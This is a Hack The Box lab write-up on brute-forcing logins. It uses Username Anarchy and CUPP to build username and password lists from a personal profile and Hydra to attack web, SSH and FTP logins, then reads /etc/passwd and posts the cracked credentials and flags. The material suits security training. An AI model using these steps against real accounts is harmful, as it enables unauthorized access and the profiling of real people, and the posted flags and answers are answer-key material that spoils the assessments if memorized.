<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2F7qrwcbBJzmcJKNToqQVI%2Fimage.png?alt=media&amp;token=e767902b-abe4-4528-a0d6-955850dea96c" alt=""><figcaption></figcaption></figure>

### Flag

```flag
HTB{SSH_and_FTP_Bruteforce_Success}
```

#### What was the password for the ftpuser?

```
qqww1122
```

#### After successfully brute-forcing the ssh session, and then logging into the ftp server on the target, what is the full flag found within flag.txt?

```flag
HTB{SSH_and_FTP_Bruteforce_Success}
```

## Username Anarchy and CUPP (command user password profiler)&#x20;

## Username Anarchy

When dealing with a seemingly simple name like "Jane Smith," manual username generation can quickly become a convoluted endeavor. While the obvious combinations like `jane`, `smith`, `janesmith`, `j.smith`, or `jane.s` may seem adequate, they barely scratch the surface of the potential username landscape.

Human creativity knows no bounds, and usernames often become a canvas for personal expression. Jane could seamlessly weave in her middle name, birth year, or a cherished hobby, leading to variations like `janemarie`, `smithj87`, or `jane_the_gardener`. The allure of `leetspeak`, where letters are replaced with numbers or symbols, could manifest in usernames like `j4n3`, `5m1th`, or `j@n3_5m1th`. Her passion for a particular book, movie, or band might inspire usernames like `winteriscoming`, `potterheadjane`, or `smith_beatles_fan`.

This is where `Username Anarchy` shines. It accounts for initials, common substitutions, and more, casting a wider net in your quest to uncover the target's username:

```zsh
┌──(root👹kali)-[/home/vinay/username-anarchy]
└─# ./username-anarchy -l
Plugin name         	Example
--------------------------------------------------------------------------------
first               	anna
firstlast           	annakey
first.last          	anna.key
firstlast[8]        	annakey
first[4]last[4]     	annakey
firstl              	annak
f.last              	a.key
flast               	akey
lfirst              	kanna
l.first             	k.anna
lastf               	keya
last                	key
last.f              	key.a
last.first          	key.anna
FLast               	AKey
first1              	anna0,anna1,anna2
fl                  	ak
fmlast              	abkey
firstmiddlelast     	annaboomkey
fml                 	abk
FL                  	AK
FirstLast           	AnnaKey
First.Last          	Anna.Key
Last                	Key

```

First, install ruby, and then pull the `Username Anarchy` git to get the script:-

```zsh
sudo apt install ruby -y
```

```zsh
git clone https://github.com/urbanadventurer/username-anarchy.git

cd username-anarchy
```

```zsh
./username-anarchy [USERNAME TO BE USED] > [OUTPUT FILE NAME.txt]
```

#### Example :-

```zsh
./username-anarchy Jane Smith > jane_smith_usernames.txt
```

Upon inspecting `jane_smith_usernames.txt`, you'll encounter a diverse array of usernames, encompassing:

* Basic combinations: `janesmith`, `smithjane`, `jane.smith`, `j.smith`, etc.
* Initials: `js`, `j.s.`, `s.j.`, etc.
* etc

```jane_smith_usernames.txt
jane
janesmith
jane.smith
janesmit
janes
j.smith
jsmith
sjane
s.jane
smithj
smith
smith.j
smith.jane
js
```

## CUPP (Common user password profiler)

With the username aspect addressed, the next formidable hurdle in a brute-force attack is the password. This is where `CUPP` (Common User Passwords Profiler) steps in, a tool designed to create highly personalized password wordlists that leverage the gathered intelligence about your target.

* `Social Media`: A goldmine of personal details: birthdays, pet names, favorite quotes, travel destinations, significant others, and more. Platforms like Facebook, Twitter, Instagram, and LinkedIn can reveal much information.
* `Company Websites`: Jane's current or past employers' websites might list her name, position, and even her professional bio, offering insights into her work life.
* `Public Records`: Depending on jurisdiction and privacy laws, public records might divulge details about Jane's address, family members, property ownership, or even past legal entanglements.
* `News Articles and Blogs`: Has Jane been featured in any news articles or blog posts? These could shed light on her interests, achievements, or affiliations.

OSINT will be a goldmine of information for CUPP. Provide as much information as possible; CUPP's effectiveness hinges on the depth of your intelligence. For example, let's say you have put together this profile based on Jane Smith's Facebook postings.

| Field               | Details                      |
| ------------------- | ---------------------------- |
| Name                | Jane Smith                   |
| Nickname            | Janey                        |
| Birthdate           | December 11, 1990            |
| Relationship Status | In a relationship with Jim   |
| Partner's Name      | Jim (Nickname: Jimbo)        |
| Partner's Birthdate | December 12, 1990            |
| Pet                 | Spot                         |
| Company             | AHI                          |
| Interests           | Hackers, Pizza, Golf, Horses |
| Favorite Colors     | Blue                         |

CUPP will then take your inputs and create a comprehensive list of potential passwords:

* Original and Capitalized: `jane`, `Jane`
* Reversed Strings: `enaj`, `enaJ`
* Birthdate Variations: `jane1994`, `smith2708`
* Concatenations: `janesmith`, `smithjane`
* Appending Special Characters: `jane!`, `smith@`
* Appending Numbers: `jane123`, `smith2024`
* Leetspeak Substitutions: `j4n3`, `5m1th`
* Combined Mutations: `Jane1994!`, `smith2708@`

**Installation**

```zsh
┌──(root👹kali)-[/home/vinay]
└─# apt install cupp -y
```

**Usage**

```zsh
┌──(root👹kali)-[/home/vinay]
└─# cupp -i

 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Jane 
> Surname: Smith
> Nickname: Janey
> Birthdate (DDMMYYYY): 11121990


> Partners) name: Jim
> Partners) nickname: Jimbo
> Partners) birthdate (DDMMYYYY): 12121990


> Child's name: 
> Child's nickname: 
> Child's birthdate (DDMMYYYY): 


> Pet's name: Spot
> Company name: AHI


> Do you want to add some key words about the victim? Y/[N]: y
> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: hacker,blue
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]:y
> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to jane .txt, counting 41942 words.
[+] Now load your pistolero with jane .txt and shoot! Good luck!
```

We now have a generated a username list (`jane_smith_usernames.txt`) and a password list (`jane .txt`), but there is one more thing we need to deal with. CUPP has generated many possible passwords for us, but Jane's company, AHI, has a rather odd password policy.

* Minimum Length: 6 characters
* Must Include:
  * At least one uppercase letter
  * At least one lowercase letter
  * At least one number
  * At least two special characters (from the set `!@#$%^&*`)

As we did earlier, we can use grep to filter that password list to match that policy:-

```zsh
┌──(root👹kali)-[/home/vinay/username-anarchy]
└─# grep -E '^.{6,}$' 'jane .txt' | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt
```

now that we have the filtered password `jane-filtered.txt` list that satisfies all the given password conditions.\
we can now use hydra to start the username and password spraying .

```zsh
┌──(root👹kali)-[/home/vinay/username-anarchy]
└─# hydra -L jane_smith_usernames.txt -P jane-filtered.txt 154.57.164.82 -s 30540 -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"
```

```
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).


Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-26 
20:17:02
[DATA] max 16 tasks per 1 server, overall 16 tasks, 111286 login tries (l:14/p:7949), ~6956 tries per task
[DATA] attacking http-post-form://154.57.164.82:30540/:username=^USER^&password=^PASS^:Invalid credentials

[30540][http-post-form] host: 154.57.164.82   login: jane   password: 3n4J!!

[STATUS] attack finished for 154.57.164.82 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-26 20:17:05
```

We find valid pair of credentials !!

```
jane:3n4J!!
```

using the creds we can login the webpage , and collect the flag !

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2F2ow2EzQ7E9UmRX624XES%2Fimage.png?alt=media&amp;token=1e8202a5-305c-4f34-b9eb-f824e7d9a33d" alt=""><figcaption></figcaption></figure>

```flag
HTB{W3b_L0gin_Brut3F0rc3_Cu5t0m}
```

## SKILL ASSESSMENTS

## 1. Assessment One

We are provided with two files `usernames.txt` and `passwords.txt`

i have renamed them to `uname1.txt` and `pass1.txt`.

```zsh
┌──(root👹kali)-[/home/vinay/username-anarchy]
└─# hydra -L uname1.txt -P pass1.txt 154.57.164.82 http-get / -s 30261 

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-26 20:29:34
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3400 login tries (l:17/p:200), ~213 tries per task
[DATA] attacking http-get://154.57.164.82:30261/

[30261][http-get] host: 154.57.164.82   login: admin   password: Admin123

[STATUS] 2733.00 tries/min, 2733 tries in 00:01h, 667 to do in 00:01h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-26 20:30:49

```

We get a hit ! valid creds found

```
admin:Admin123
```

using these we can log in the webpage to get the username `satwossh` required for skill assessment part 2.

<figure><img src="https://653470127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoutSwFwl1Hc40pkhm1lA%2Fuploads%2FSrrtbuF5gqcOJzVYd06J%2Fimage.png?alt=media&amp;token=c5fc16cb-4fc3-4b2c-83a4-a301a59cf1b6" alt=""><figcaption></figcaption></figure>

#### What is the password for the basic auth login?

```
Admin123
```

#### After successfully brute forcing the login, what is the username you have been given for the next part of the skills assessment?

```
satwossh
```

## 2. Assessment Two

Now that we know that username is `satwossh` we start hydra on ssh with the password file only set .

```zsh
┌──(root👹kali)-[/home/vinay/username-anarchy]
└─# hydra -l satwossh -P pass1.txt -f ssh://154.57.164.82:31028             

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-26 20:44:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking ssh://154.57.164.82:31028/

[31028][ssh] host: 154.57.164.82   login: satwossh   password: password1

[STATUS] attack finished for 154.57.164.82 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-26 20:44:45
```

we find valid pair of creds for getting a ssh on target's machine.

```
satwossh:password1
```

we then ssh into the machine using the following commands

```zsh
┌──(root👹kali)-[/home/vinay/username-anarchy]
└─# ssh satwossh@154.57.164.82 -p 31028
The authenticity of host '[154.57.164.82]:31028 ([154.57.164.82]:31028)' can't be established.
ED25519 key fingerprint is: SHA256:0ldLAJLTwIrE2wupFhvN1WiHuimct7AF+pBddY5xIi8
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[154.57.164.82]:31028' (ED25519) to the list of known hosts.
satwossh@154.57.164.82's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.18.24-talos x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
satwossh@ng-1407496-loginbfsatwo-j0lai-69ccc8d45c-qt2rj:~$ 
```

```zsh
satwossh@ng-1407496-loginbfsatwo-j0lai-69ccc8d45c-qt2rj:~$ cat IncidentReport.txt
 
System Logs - Security Report

Date: 2024-09-06

Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. This activity requires immediate investigation.

All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user’s actions and reviewing any files uploaded to the FTP server.

```

By examining the `IncidentReport.txt` (**image**), we uncover critical intelligence. The report identifies a specific user, **Thomas Smith**, who has been flagged for suspicious FTP activity. A quick inspection of `/etc/passwd` (**image**) confirms that a local user named `thomas` exists on the system, indicating a high-probability target for our next phase.

```zsh
satwossh@ng-1407496-loginbfsatwo-j0lai-69ccc8d45c-qt2rj:~/username-anarchy/names$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.
.
.
.
thomas:x:1001:1001::/var/.hidden:/bin/bash
```

```zsh
satwossh@ng-1407496-loginbfsatwo-j0lai-69ccc8d45c-qt2rj:~$ hydra -l thomas -P passwords.txt -f ftp://127.0.0.1


Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-26 15:23:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 198 login tries (l:1/p:198), ~13 tries per task
[DATA] attacking ftp://127.0.0.1:21/


[21][ftp] host: 127.0.0.1   login: thomas   password: chocolate!


[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-26 15:23:08

```

and Bingo !!

we find valid creds

```
thomas:chocolate!
```

With the final set of credentials, we authenticate to the FTP service. Once logged in, we locate and download the target file `flag.txt`

```flag
HTB{brut3f0rc1ng_succ3ssful}
```

#### What is the username of the ftp user you find via brute-forcing?

```
thomas
```

#### What is the flag contained within flag.txt

```flag
HTB{brut3f0rc1ng_succ3ssful}
```